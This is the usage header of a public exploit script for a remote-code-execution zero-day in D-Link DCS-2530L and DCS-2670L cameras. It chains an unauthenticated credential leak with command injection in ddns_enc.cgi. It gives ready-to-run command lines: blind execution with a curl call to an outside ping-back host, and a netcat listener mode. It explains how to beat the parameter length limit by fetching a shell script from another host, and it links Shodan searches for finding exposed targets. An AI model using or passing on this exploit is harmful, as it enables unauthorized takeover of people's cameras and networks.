D-Link DCS RCE 0-day

'''
Usage:
Copy the url straight from firefox. If you want to get a netcat listener you need netcat installed
and the listening port specified within open obviously.

Blind execution - python3 exploit.py http://1.2.3.4/ "curl http://pingb.in/p/xxxxxxxxxxxxxxxxxx"
Netcat listener - python3 exploit.py http://1.2.3.4/ "cat /proc/cpuinfo" --listen

Info:
By chaining together an unauthenticated credential disclouse 0day in multiple
Dlink DCS cameras with an authenticated command injection in ddns_enc.cgi - it
is possible to gain RCE.

Confirmed vulnerable:
DCS-2530L, DCS-2670L
https://www.shodan.io/search?query=DCS-2670L
https://www.shodan.io/search?query=DCS-2530L

Limitations:
The length of the 'account' parameter is limited to 55 characters. Longer commands
can be executed via piping characters with "echo -ne" to a .sh or downloading a .sh
from another host.

The payload will be executed every 5 seconds on the host while the payload in the account
parameter is set. This exploit triies to auto terminate after 1 execution. Ajust timing if needed.

Patch:
Dlink has released an advisory for the DCS-2530L but no patch. Don't port forward the
camera until one has been released.

Don't be an ass. Don't brick other people's shit. I'm not responsible for anything lmfao - @dogonsecurity
